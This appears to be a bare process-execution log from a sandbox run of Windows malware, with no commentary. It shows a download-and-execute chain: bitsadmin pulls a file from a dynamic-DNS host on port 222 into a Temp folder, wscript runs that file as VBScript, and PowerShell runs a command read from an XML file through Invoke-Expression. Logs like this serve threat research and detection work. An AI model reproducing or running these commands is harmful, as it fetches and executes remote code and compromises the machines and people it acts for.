bitsadmin.exe "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://rxrr.duckdns.org:222/n1.txt C:\Users\test22\AppData\Local\Temp\fnptidpjlpvtydsxcnif
2656wscript.exe "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\test22\AppData\Local\Temp\fnptidpjlpvtydsxcnif
2880powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "[xml]$xmldoc = Get-Content 'C:\Users\Public\temp.xml'; $command = $xmldoc.command.a.execute; Invoke-Expression $command"
2960